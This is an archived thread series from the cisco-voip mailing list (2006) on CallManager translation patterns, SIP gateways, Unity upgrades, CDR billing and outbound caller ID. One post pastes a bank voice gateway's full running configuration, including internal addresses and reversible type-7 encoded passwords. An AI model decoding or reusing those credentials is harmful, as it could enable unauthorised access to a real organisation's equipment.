Does anyone have other recommendations for a different media gateway
platform.. cisco or not?

Thanks for any feedback.




From jgrace at digitelusa.net  Tue Feb  7 12:31:38 2006
From: jgrace at digitelusa.net (James Grace)
Date: Tue Feb  7 12:31:47 2006
Subject: [cisco-voip] Util to show how many vm 
Message-ID: <SUWCL20IP01IYcez1A200027c67@smtpoutcl20.wirelesssyncvzw.net>

I trying to find the utiL that Show me how many mail a user has 
We arr. Using Unified Msg 



From Brian.Henry at apptis.com  Tue Feb  7 12:45:29 2006
From: Brian.Henry at apptis.com (Brian Henry)
Date: Tue Feb  7 12:45:32 2006
Subject: [cisco-voip] Util to show how many vm
Message-ID: <2F09B2162CCDEA4EA05C089B24FBC2BC05B85D@CH-EXCH-02.intelltech.apptis.inc>

Go into system manager for exch 2000 and 2003 find the mailstore to which the user belongs and you can see how many items are in their mailbox along with the total size
--------------------------
Sent from my BlackBerry Wireless Handheld
 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
To: cisco-voip at puck.nether.net
Sent: Tue Feb 07 12:31:38 2006
Subject: [cisco-voip] Util to show how many vm 

I trying to find the utiL that Show me how many mail a user has 
We arr. Using Unified Msg 


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https://puck.nether.net/mailman/listinfo/cisco-voip
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From jgrace at digitelusa.net  Tue Feb  7 13:04:04 2006
From: jgrace at digitelusa.net (James Grace)
Date: Tue Feb  7 13:04:12 2006
Subject: [cisco-voip] 7971 dont show ring list 
Message-ID: <SUWCL22IP01GxlayRpT0003165b@smtpoutcl22.wirelesssyncvzw.net>

We have- a 7970 at remote. Location 
Over a VPN  weare not seeing the ring Tones in our list  HtmL 

From pnowicki at neo.rr.com  Tue Feb  7 16:04:53 2006
From: pnowicki at neo.rr.com (pnowicki@neo.rr.com)
Date: Tue Feb  7 16:04:57 2006
Subject: [cisco-voip] Translate Calling Number
Message-ID: <2a14edc2a18467.2a184672a14edc@columbus.rr.com>

I assume that you have 85264 setup as a dialable number in the system 
today. What you will need to do is set that DN/Route pattern off into 
it's own little partition. Create a calling search space that contains 
that partition. Create a translation pattern of 85264 within the 
partition that you had the original instance of the number in. Give it 
the Calling Search space that you just created. No transformation on 
the called number. For the calling number transformation mask, do 
8281347, or "XXXXXXX" if you want to pass just the last seven digits 
of the original called number.

Hope this helps!
-Patrick

----- Original Message -----
From: "Ruben Montes (EU)" <Ruben.Montes at eu.didata.com>
Date: Tuesday, February 7, 2006 10:31 am
Subject: [cisco-voip] Translate Calling Number

> Hi,
> 
> I'm using MGCP protocol and I want to do a translation on the calling
> number. 
> Number 028281347 calls 85264 (p.e.): I want to strip the 028 to the
> calling number, that is a number 'behind' an analog PBX connected 
> with a
> QSIG to the gateway.
> Which translation pattern should I create?
> 
> Regards,
> 
> Ruben
> 
> -----Mensaje original-----
> De: Wes Sisk [mailto:wsisk at cisco.com] 
> Enviado el: jueves, 02 de febrero de 2006 3:02
> Para: Ruben Montes (EU)
> CC: cisco-voip at puck.nether.net
> Asunto: Re: [cisco-voip] Applying mgcp changes
> 
> No, changes will not be propagated.
> 
> Take a look in the CCM traces at the time you see an error similar 
to:
> MGCPBhHandler 10.1.230.10 - ERROR - MGCPNotificationRequest for  
> reset: TCP Mgt not supported by the GW.  Sending MGCP err back to  
> reload device. GWTCPOpened=1, GWRegistered=1|<CLID::CM3-
> Cluster><NID:: 
> 11.1.235.50><CT::1,100,86,1.25><IP::><DEV::>
> 
> Basically indicating CM cannot send the change notification to the 
> 
> gateway.
> 
> 'no mgcp' , 'mgcp'
> will be required.
> 
> /Wes
> 
> 
> 
> On Feb 1, 2006, at 11:31 AM, Ruben Montes ((EU)) wrote:
> 
> Hi,
> 
> if I'm not using the ccm-manager config and ccm-manager config 
> server  
> commands, when I do a change in the CCM MGCP endpoint page and I  
> reset the gateway, is this change applied in the gateway?
> 
> I want to change the call classification from 'Use system default' 
> to  
> 'OnNet'. How could I now if changes have been correctly propagated?
> 
> Thanks in advance,
> 
> Regards,
> 
> Ruben
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 
> 
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 

From Aaron.Derooy at xerox.com  Tue Feb  7 16:06:10 2006
From: Aaron.Derooy at xerox.com (DeRooy, Aaron H)
Date: Tue Feb  7 16:07:04 2006
Subject: [cisco-voip] SIP gateway with IM client
Message-ID: <E0EF33751DEA634DA817A51024A8E3F205B4FF70@usa0300ms01.na.xerox.net>

I have an IM client that can't make a call thru a 3640 gateway
configured for SIP. Here's the dial peers on the gateway. The g/w has a
T1 pointing to the PSTN and a ethernet on the same campus as the SIP
server that is acting as a SIP proxy. My understanding is the SIP/IM
client (using a softphone-like app) places a call like 9,223-4455 and
the SIP server sets up the call with the g/w and then the g/w contacts
the SIP/IM client to talk RTP. The call setup seems to make it to the
g/w but the user gets "can not complete the call" or the like. Is there
something missing on my dial peer statements? What make the g/w a SIP
g/w other than the session protocol line?

dial-peer voice 202 voip
 incoming called-number .
 session protocol sipv2
 session target ipv4:10.130.0.22
 codec g711ulaw
!
dial-peer voice 100 pots
 destination-pattern 9.......
 port 2/1:0
 prefix 9,

Aaron H. DeRooy 



From Brian.Henry at apptis.com  Tue Feb  7 16:23:01 2006
From: Brian.Henry at apptis.com (Brian Henry)
Date: Tue Feb  7 16:25:05 2006
Subject: [cisco-voip] SIP gateway with IM client
Message-ID: <2F09B2162CCDEA4EA05C089B24FBC2BC02838096@CH-EXCH-02.intelltech.apptis.inc>

what are you prefixing the "9,"??  Telco's only want either 7D, 10D, 11D, or xD (D = Digits).
Brian

________________________________

From: cisco-voip-bounces at puck.nether.net on behalf of DeRooy, Aaron H
Sent: Tue 2/7/2006 4:06 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] SIP gateway with IM client



I have an IM client that can't make a call thru a 3640 gateway
configured for SIP. Here's the dial peers on the gateway. The g/w has a
T1 pointing to the PSTN and a ethernet on the same campus as the SIP
server that is acting as a SIP proxy. My understanding is the SIP/IM
client (using a softphone-like app) places a call like 9,223-4455 and
the SIP server sets up the call with the g/w and then the g/w contacts
the SIP/IM client to talk RTP. The call setup seems to make it to the
g/w but the user gets "can not complete the call" or the like. Is there
something missing on my dial peer statements? What make the g/w a SIP
g/w other than the session protocol line?

dial-peer voice 202 voip
 incoming called-number .
 session protocol sipv2
 session target ipv4:10.130.0.22
 codec g711ulaw
!
dial-peer voice 100 pots
 destination-pattern 9.......
 port 2/1:0
 prefix 9,

Aaron H. DeRooy


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


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From ciscozest at gmail.com  Tue Feb  7 22:46:18 2006
From: ciscozest at gmail.com (Robin H)
Date: Tue Feb  7 22:46:23 2006
Subject: [cisco-voip] Auto Ready State for IPCC Express IP Phone Agent
Message-ID: <f99cc3f60602071946t79df741jbe5ef232efbd1e01@mail.gmail.com>

I am using CCM 3.3(5) and IPCC 3.1(3). Is there a way that we can skip
the Ready/Not Ready State when using IP Phone Agent after login? The
reason is that whenever the agent is ready she will start to login and
no need to set "Ready" or "Note Ready" state anymore. I am aware of
one button login but that is not what my user wants. Any idea how to
do this? Thank you.


From subs-cisco at cbvcollections.com  Wed Feb  8 01:24:00 2006
From: subs-cisco at cbvcollections.com (Cisco Subscriber)
Date: Wed Feb  8 01:24:25 2006
Subject: [cisco-voip] Outbound Caller ID
Message-ID: <9AEF8665DE74FA43B3B987FB931E92AE0AE0A1@CBVVANEM01.cbv.dns>

Hi all...

I've been tasked with looking into rotating our caller ID to different
numbers.  I've contacted our provider and we should be able to set our
caller id to any of the DIDs assigned to us.  That's easy enough to do,
we set aside a bank of reserved DIDs assigned to us (not active) and set
that as the external phone mask for the sets which require the 'fake'
DID (it would be easier to set the caller ID on the gateway level but
there are some extensions that require their actual DID to be
displayed).

Ideally I'd like to rotate our caller id amongst a pre-defined bank of
numbers on a per call basis.  Currently I am limited to updating the
external mask for the phones on a regular basis.

I have some questions:
 - Are there legal issues (in Canada) with displaying a caller id which
is assigned to us, but not in service?
 - Are there 3rd party programs that are able to rotate the outbound
caller id that interface with callmanager?



Confidentiality Warning:
This message and any attachments are intended only for the use of the intended recipients (cisco-voip at puck.nether.net), are confidential, and may be privileged. If you are not the intended recipient, you are hereby notified that any review, retransmission, conversion to hard copy, copying, circulation or other use of this message and any attachments is strictly prohibited. If you are not the intended recipient, please notify the sender (mailto:subs-cisco at cbvcollections.com) immediately by return e-mail, and delete this message and any attachments from your system. Thank you.

Information Confidentielle:
Le present message, ainsi que tout fichier qui y est joint, est envoye a l'intention exclusive de son ou de ses destinataires (cisco-voip at puck.nether.net); il est de nature confidentielle et peut constituer une information privilegiee. Nous avertissons toute personne autre que le destinataire prevu que tout examen, reacheminement, impression, copie, distribution ou autre utilisation de ce message et de tout fichier qui y est joint est strictement interdit. Si vous n'etes pas le destinataire prevu, veuillez en aviser immediatement l'expediteur (mailto:subs-cisco at cbvcollections.com) par retour de courriel et supprimer ce message et tout document joint de votre systeme. Merci




From sfahmy at istnetworks.com  Wed Feb  8 01:45:19 2006
From: sfahmy at istnetworks.com (Sherif Fahmy)
Date: Wed Feb  8 01:45:49 2006
Subject: [cisco-voip] DID
Message-ID: <52864.212.138.47.24.1139381119.squirrel@212.138.47.24>

this is the the whole runnning config of the did/dod
that is not working as i said earlier what happens


Current configuration : 4125 bytes
!
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname RB_AS4
!
boot-start-marker
no boot startup-test
boot-end-marker
!
no logging buffered
enable
!
!
!
resource-pool disable
aaa new-model
!
!
aaa authentication login default local
!
aaa session-id common
!
resource policy
!
spe default-firmware spe-firmware-1
ip subnet-zero
!
!
ip cef
no ip dhcp use vrf connected
!
!
!
voice rtp send-recv
!
voice service voip
 allow-connections h323 to h323
 fax protocol t38 ls-redundancy 0 hs-redundancy 0 fallback cisco
!
!
!
voice class codec 1
 codec preference 1 g711ulaw
 codec preference 2 g711alaw
 codec preference 3 g729r8
!
!
!
voice class h323 1
 h225 timeout tcp establish 3
!
!
!
!
!
!
!
!
!
username admin
!
!
controller E1 7/0
 shutdown
 framing NO-CRC4
 ds0-group 0 timeslots 1-15,17-31 type r2-digital r2-compelled ani
 cas-custom 0
  country saudiarabia
 description CONNECTION TO 800 E1
!
controller E1 7/1
 framing NO-CRC4
 ds0-group 0 timeslots 1-15,17-31 type r2-digital r2-compelled ani
 cas-custom 0
  country saudiarabia
!
controller E1 7/2
 framing NO-CRC4
 ds0-group 0 timeslots 1-15,17-31 type r2-digital r2-compelled ani
 cas-custom 0
  country saudiarabia
!
controller E1 7/3
 framing NO-CRC4
 ds0-group 0 timeslots 1-15,17-31 type r2-digital r2-compelled ani
 cas-custom 0
  country saudiarabia
!
controller E1 7/4
 framing NO-CRC4
 ds0-group 0 timeslots 1-15,17-31 type r2-digital r2-compelled ani
 cas-custom 0
  country saudiarabia
!
controller E1 7/5
 framing NO-CRC4
 ds0-group 0 timeslots 1-15,17-31 type r2-digital r2-compelled ani
 cas-custom 0
  country saudiarabia
!
controller E1 7/6
 framing NO-CRC4
 ds0-group 0 timeslots 1-15,17-31 type r2-digital r2-compelled ani
 cas-custom 0
  country saudiarabia
 description E1 used for DID
!
controller E1 7/7
 shutdown
 framing NO-CRC4
 ds0-group 0 timeslots 1-15,17-31 type r2-digital r2-semi-compelled ani
 cas-custom 0
  country saudiarabia
 description E1 used for DID
!
!
interface GigabitEthernet0/0
 ip address 10.34.187.10 255.255.255.0
 duplex full
 speed 100
 negotiation auto
!
interface GigabitEthernet0/1
 no ip address
 shutdown
 duplex auto
 speed auto
 negotiation auto
!
interface Serial0/0
 no ip address
 shutdown
 clockrate 2000000
 no fair-queue
!
interface Serial7/0
 no ip address
 shutdown
!
interface Serial0/1
 no ip address
 shutdown
 clockrate 2000000
!
interface Group-Async0
 no ip address
 no group-range
!
interface Group-Async1
 no ip address
 group-range 1/00 1/107
!
interface Group-Async3
 no ip address
 group-range 3/00 3/107
!
interface Group-Async5
 no ip address
 group-range 5/00 5/59
!
ip default-gateway 10.34.187.1
!
ip classless
ip route 0.0.0.0 0.0.0.0 GigabitEthernet0/0
no ip http server
!
!
!
!
!
control-plane
!
!
!
voice-port 7/0:0
 compand-type a-law
 cptone SA
 timeouts call-disconnect 2
 connection plar 8006
!
voice-port 7/1:0
 compand-type a-law
!
voice-port 7/2:0
 compand-type a-law
!
voice-port 7/3:0
 compand-type a-law
!
voice-port 7/4:0
 compand-type a-law
!
voice-port 7/5:0
 compand-type a-law
!
voice-port 7/7:0
 compand-type a-law
!
voice-port 7/6:0
 compand-type a-law
!
!
!
dial-peer voice 1 voip
 destination-pattern 9...
 voice-class h323 1
 session target ipv4:10.34.205.31
 dtmf-relay h245-alphanumeric
 codec g711ulaw
 no vad
!
dial-peer voice 3 pots
 destination-pattern .T
 incoming called-number .T
 direct-inward-dial
 port 7/7:0
!
dial-peer voice 2 pots
 destination-pattern .T
 incoming called-number .T
 direct-inward-dial
 port 7/6:0
!
!
ss7 mtp2-variant Bellcore 0
ss7 mtp2-variant Bellcore 1
ss7 mtp2-variant Bellcore 2
ss7 mtp2-variant Bellcore 3
banner login ^Cc
Welcome to Riyadh Bank Voice Gateway
This is a secured device
Unauthorized use is prohibited by law ^C
!
line con 0
 exec-timeout 0 0
 password 7 094F471A1A0A
 stopbits 1
line aux 0
 stopbits 1
line vty 0 4
 password 7 03105E1812
line 1/00 1/107
 modem InOut
line 3/00 3/107
 modem InOut
line 5/00 5/59
 modem InOut
!
scheduler allocate 10000 400
end


From rleetun at co.boulder.co.us  Wed Feb  8 08:08:07 2006
From: rleetun at co.boulder.co.us (Leetun, Rob)
Date: Wed Feb  8 08:08:13 2006
Subject: [cisco-voip] Unity 4.1
Message-ID: <963CE94787005149A52C17F33A028E12051D434C@EVS1B.boco.co.boulder.co.us>

Hi all,

I am wondering how many of you have upgraded to Unity 4.1 within a 4.1.3
sr2 environment?  What are some of the successes and concerns do you
have after doing so?

Thanks in advance.

Rob
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From erickbe at yahoo.com  Wed Feb  8 08:23:09 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Wed Feb  8 08:23:22 2006
Subject: [cisco-voip] Outbound Caller ID
In-Reply-To: <9AEF8665DE74FA43B3B987FB931E92AE0AE0A1@CBVVANEM01.cbv.dns>
Message-ID: <20060208132309.95689.qmail@web34302.mail.mud.yahoo.com>

I am not aware of a such an application to change the
calling party number/mask in call manager like that
automatically. 

If the gateway were H.323 you could use existing
scripting programs available to manage router configs
to modify translation-rules and translation profiles.


--- Cisco Subscriber <subs-cisco at cbvcollections.com>
wrote:

> Hi all...
> 
> I've been tasked with looking into rotating our
> caller ID to different
> numbers.  I've contacted our provider and we should
> be able to set our
> caller id to any of the DIDs assigned to us.  That's
> easy enough to do,
> we set aside a bank of reserved DIDs assigned to us
> (not active) and set
> that as the external phone mask for the sets which
> require the 'fake'
> DID (it would be easier to set the caller ID on the
> gateway level but
> there are some extensions that require their actual
> DID to be
> displayed).
> 
> Ideally I'd like to rotate our caller id amongst a
> pre-defined bank of
> numbers on a per call basis.  Currently I am limited
> to updating the
> external mask for the phones on a regular basis.
> 
> I have some questions:
>  - Are there legal issues (in Canada) with
> displaying a caller id which
> is assigned to us, but not in service?
>  - Are there 3rd party programs that are able to
> rotate the outbound
> caller id that interface with callmanager?
> 
> 
> 
> Confidentiality Warning:
> This message and any attachments are intended only
> for the use of the intended recipients
> (cisco-voip at puck.nether.net), are confidential, and
> may be privileged. If you are not the intended
> recipient, you are hereby notified that any review,
> retransmission, conversion to hard copy, copying,
> circulation or other use of this message and any
> attachments is strictly prohibited. If you are not
> the intended recipient, please notify the sender
> (mailto:subs-cisco at cbvcollections.com) immediately
> by return e-mail, and delete this message and any
> attachments from your system. Thank you.
> 
> Information Confidentielle:
> Le present message, ainsi que tout fichier qui y est
> joint, est envoye a l'intention exclusive de son ou
> de ses destinataires (cisco-voip at puck.nether.net);
> il est de nature confidentielle et peut constituer
> une information privilegiee. Nous avertissons toute
> personne autre que le destinataire prevu que tout
> examen, reacheminement, impression, copie,
> distribution ou autre utilisation de ce message et
> de tout fichier qui y est joint est strictement
> interdit. Si vous n'etes pas le destinataire prevu,
> veuillez en aviser immediatement l'expediteur
> (mailto:subs-cisco at cbvcollections.com) par retour de
> courriel et supprimer ce message et tout document
> joint de votre systeme. Merci
> 
> 
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From paland at gmail.com  Wed Feb  8 08:29:26 2006
From: paland at gmail.com (Patrick Aland)
Date: Wed Feb  8 08:29:40 2006
Subject: [cisco-voip] Outbound Caller ID
In-Reply-To: <20060208132309.95689.qmail@web34302.mail.mud.yahoo.com>
References: <9AEF8665DE74FA43B3B987FB931E92AE0AE0A1@CBVVANEM01.cbv.dns>
	<20060208132309.95689.qmail@web34302.mail.mud.yahoo.com>
Message-ID: <960c6a4d0602080529o142edcbfx898f5079cbd99267@mail.gmail.com>

A small script using AXL could probably rotate the numbers for you by
updating the external mask on the phones in a list.
Out of curiosity, why do you want to rotate the number in the first place?

On 2/8/06, Erick Bergquist <erickbe at yahoo.com> wrote:
> I am not aware of a such an application to change the
> calling party number/mask in call manager like that
> automatically.
>
> If the gateway were H.323 you could use existing
> scripting programs available to manage router configs
> to modify translation-rules and translation profiles.
>
>
> --- Cisco Subscriber <subs-cisco at cbvcollections.com>
> wrote:
>
> > Hi all...
> >
> > I've been tasked with looking into rotating our
> > caller ID to different
> > numbers.  I've contacted our provider and we should
> > be able to set our
> > caller id to any of the DIDs assigned to us.  That's
> > easy enough to do,
> > we set aside a bank of reserved DIDs assigned to us
> > (not active) and set
> > that as the external phone mask for the sets which
> > require the 'fake'
> > DID (it would be easier to set the caller ID on the
> > gateway level but
> > there are some extensions that require their actual
> > DID to be
> > displayed).
> >
> > Ideally I'd like to rotate our caller id amongst a
> > pre-defined bank of
> > numbers on a per call basis.  Currently I am limited
> > to updating the
> > external mask for the phones on a regular basis.
> >
> > I have some questions:
> >  - Are there legal issues (in Canada) with
> > displaying a caller id which
> > is assigned to us, but not in service?
> >  - Are there 3rd party programs that are able to
> > rotate the outbound
> > caller id that interface with callmanager?
> >
> >
> >
> > Confidentiality Warning:
> > This message and any attachments are intended only
> > for the use of the intended recipients
> > (cisco-voip at puck.nether.net), are confidential, and
> > may be privileged. If you are not the intended
> > recipient, you are hereby notified that any review,
> > retransmission, conversion to hard copy, copying,
> > circulation or other use of this message and any
> > attachments is strictly prohibited. If you are not
> > the intended recipient, please notify the sender
> > (mailto:subs-cisco at cbvcollections.com) immediately
> > by return e-mail, and delete this message and any
> > attachments from your system. Thank you.
> >
> > Information Confidentielle:
> > Le present message, ainsi que tout fichier qui y est
> > joint, est envoye a l'intention exclusive de son ou
> > de ses destinataires (cisco-voip at puck.nether.net);
> > il est de nature confidentielle et peut constituer
> > une information privilegiee. Nous avertissons toute
> > personne autre que le destinataire prevu que tout
> > examen, reacheminement, impression, copie,
> > distribution ou autre utilisation de ce message et
> > de tout fichier qui y est joint est strictement
> > interdit. Si vous n'etes pas le destinataire prevu,
> > veuillez en aviser immediatement l'expediteur
> > (mailto:subs-cisco at cbvcollections.com) par retour de
> > courriel et supprimer ce message et tout document
> > joint de votre systeme. Merci
> >
> >
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
>
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>


--
--Patrick


From julian.ivanov at transtelecom.bg  Wed Feb  8 08:56:38 2006
From: julian.ivanov at transtelecom.bg (Julian Ivanov)
Date: Wed Feb  8 08:52:46 2006
Subject: [cisco-voip] Cisco 7904 configuration xml
Message-ID: <E1F6pkR-00033t-7o@sof-dns-5.naftexbg.net>

Hello,
I've recently found that I cannot see who's calling me on my 7904 display.
After a bit googling, I didn't find how to activate it, I think is something
with the btxml, but I cannot see where from where (and what exactly), my
phone is downloading for cnf.xml. I`ve been trying with files like:
SIPDefault.CNF.XML
SIPDefault.cnf.xml
XMLDefault.cnf.xml
xmlDefault.CNF.XML

because i`ve read that depends on the firmware, files are case sensitive,
but nothing happened.


Thanks in advance.



From Matt.Slaga at us.didata.com  Wed Feb  8 09:14:31 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Wed Feb  8 09:15:15 2006
Subject: [cisco-voip] Unity 4.1
Message-ID: <C1FE15183DA37645BC0633BC604E44F0D9D44C@USNAEXCH.na.didata.local>

Unity 4.1, even though it boasts a major release version stamp is
essentially only a bug fix release with a few small added features.  The
biggest updates are concentrated with Unity / Notes integrations.
 
We have Unity 4.1 running at 3 customers right now without any issues.
In the next couple weeks we will internally approve 4.1 for all future
deployments.
 
HTH
 
Matt

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Leetun, Rob
Sent: Wednesday, February 08, 2006 8:08 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Unity 4.1



Hi all, 

I am wondering how many of you have upgraded to Unity 4.1 within a 4.1.3
sr2 environment?  What are some of the successes and concerns do you
have after doing so?

Thanks in advance. 

Rob 




-----------------------------------------
Disclaimer:

This e-mail communication and any attachments may contain
confidential and privileged information and is for use by the
designated addressee(s) named above only.  If you are not the
intended addressee, you are hereby notified that you have received
this communication in error and that any use or reproduction of
this email or its contents is strictly prohibited and may be
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From ealeatherman at gmail.com  Wed Feb  8 09:31:02 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Wed Feb  8 09:31:05 2006
Subject: [cisco-voip] Unity Connection
Message-ID: <94a1afde0602080631s298c2ebfk56f963104394a03e@mail.gmail.com>

Hi there,

Have a Unity Connection server configured in the lab with demo license, with
latest SR. I'm running into an oddball problem I thought I would run past
the list and see if anyone has heard of this even in the regular Unity
product..

I'm basically having trouble with transfering a call within unity. When I
call the pilot number and get the opening greeting from an "outside"
extension (in this case, calling from another cluster over intercluster
trunk)  I am able to dial another extension and Unity will transfer me
properly. If I dial into the pilot number from an "inside" phone and get to
the opening greeting (either directly or going from a menu), and then dial a
number that has a mailbox it just transfers me to the greeting for that
mailbox... regardless of what I have set up in that user's transfer
settings.

I tried setting up an internal phone with the same CSS as the intercluster
trunk, just to rule that out.. still does the same thing.

I dont have this problem on the normal Unity product at all, we use Unity in
a number of areas as a front end answering board. If the user's transfer
settings are configured correctly, it works as it should. Not sure if its a
bug, working as intended, or i'm just missing something (probable:)

Thanks!
--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From lelio at uoguelph.ca  Wed Feb  8 10:06:58 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Wed Feb  8 10:07:05 2006
Subject: [cisco-voip] CDRs and billing
Message-ID: <013801c62cc1$4f005550$30196883@cfs.uoguelph.ca>

I have a question for the group regarding billing. If you have a billing date that ends January 31st at midnite, do you include calls that are initiated before this time or only end before this time? For example, if you have a call that begins at 11:55pm and ends at 5am on the 1st of February, does that call get charged to the January or February bill?

We currently use the initiated before criteria and wait until the next day at midnite to cut the CDRs to file to have an exhaustive list of calls. What are other people doing for this?


--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
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From Nick.Kassel at Charles-Stanley.co.uk  Wed Feb  8 10:09:31 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Wed Feb  8 10:09:49 2006
Subject: [cisco-voip] CDRs and billing
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC6481F3@CSEXCH01.charles-stanley.co.uk>

Lelio, what type of billing software do you use?

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Lelio Fulgenzi
Sent: Wednesday, February 08, 2006 3:07 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] CDRs and billing

 

I have a question for the group regarding billing. If you have a billing
date that ends January 31st at midnite, do you include calls that are
initiated before this time or only end before this time? For example, if
you have a call that begins at 11:55pm and ends at 5am on the 1st of
February, does that call get charged to the January or February bill?

 

We currently use the initiated before criteria and wait until the next
day at midnite to cut the CDRs to file to have an exhaustive list of
calls. What are other people doing for this?

 

 

------------------------------------------------------------------------
--------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter
than an
IP phone on a long haul 10base2 connection"
LFJ

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Registered in England No. 1903304

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From lelio at uoguelph.ca  Wed Feb  8 10:10:44 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Wed Feb  8 10:10:56 2006
Subject: [cisco-voip] CDRs and billing
References: <253FAE7A06B11B49A3A29770B2B8BAFC6481F3@CSEXCH01.charles-stanley.co.uk>
Message-ID: <014b01c62cc1$d678d070$30196883@cfs.uoguelph.ca>

We are currently using a 3rd party to do our billings...we just ship him the CDRs. Whatever we send him he uses. It's really up to us to decide what to send him.

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
  ----- Original Message ----- 
  From: Nick Kassel 
  To: Lelio Fulgenzi ; cisco-voip at puck.nether.net 
  Sent: Wednesday, February 08, 2006 10:09 AM
  Subject: RE: [cisco-voip] CDRs and billing


  Lelio, what type of billing software do you use?




------------------------------------------------------------------------------

  From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Lelio Fulgenzi
  Sent: Wednesday, February 08, 2006 3:07 PM
  To: cisco-voip at puck.nether.net
  Subject: [cisco-voip] CDRs and billing



  I have a question for the group regarding billing. If you have a billing date that ends January 31st at midnite, do you include calls that are initiated before this time or only end before this time? For example, if you have a call that begins at 11:55pm and ends at 5am on the 1st of February, does that call get charged to the January or February bill?



  We currently use the initiated before criteria and wait until the next day at midnite to cut the CDRs to file to have an exhaustive list of calls. What are other people doing for this?





  --------------------------------------------------------------------------------
  Lelio Fulgenzi, B.A.
  Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
  (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
  "I had a coffee and Coke at lunch today...and now, I've got more jitter than an
  IP phone on a long haul 10base2 connection"                                           LFJ




        ***********************************************************************************************

        The information contained in this e-mail is strictly confidential, some or all
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        Access to this e-mail by any other person is prohibited. If you are not the
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        You acknowledge that e-mails are not secure and you accept the risk of
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        Charles Stanley & Co. Ltd
        Registered Office: 25 Luke Street London EC2A 4AR

        Tel: 0207 739 8200 Fax: 0207 739 7798
        Registered in England No. 1903304

        Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

        Authorised and Regulated by the Financial Services Authority, Member of the
        London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
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From ealeatherman at gmail.com  Wed Feb  8 10:32:29 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Wed Feb  8 10:32:32 2006
Subject: [cisco-voip] Another CDR question :)
Message-ID: <94a1afde0602080732m3e66fa46x973efd6f7473297f@mail.gmail.com>

Was looking through some CDRs to dig up some stats on a disputed long
distance call.. Happened to notice there were a number of calls that had a
dateTimeOrigination that was normal, a dateTimeConnect which was 0, and a
dateTimeDisconnect that was normal and anywhere from 3 to 20 sec later than
the Origination Time. Does this mean the call failed to connect? duration on
all those calls is also 0. the dateTimeConnect has me a little puzzled.

--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From rratliff at cisco.com  Wed Feb  8 10:39:20 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Wed Feb  8 10:39:15 2006
Subject: [cisco-voip] Another CDR question :)
In-Reply-To: <94a1afde0602080732m3e66fa46x973efd6f7473297f@mail.gmail.com>
References: <94a1afde0602080732m3e66fa46x973efd6f7473297f@mail.gmail.com>
Message-ID: <182FDFF4-053A-49B4-86AA-ADAE5C205D91@cisco.com>

Many IVRs will not actually put the call into a Connected state until  
you reach an agent.  Also happens with carriers that ask you for a  
pin when dialing long distance, etc.

I think Amex was one that generated a ton of cases back in the day  
because of dtmf issues when the voice path was established but the  
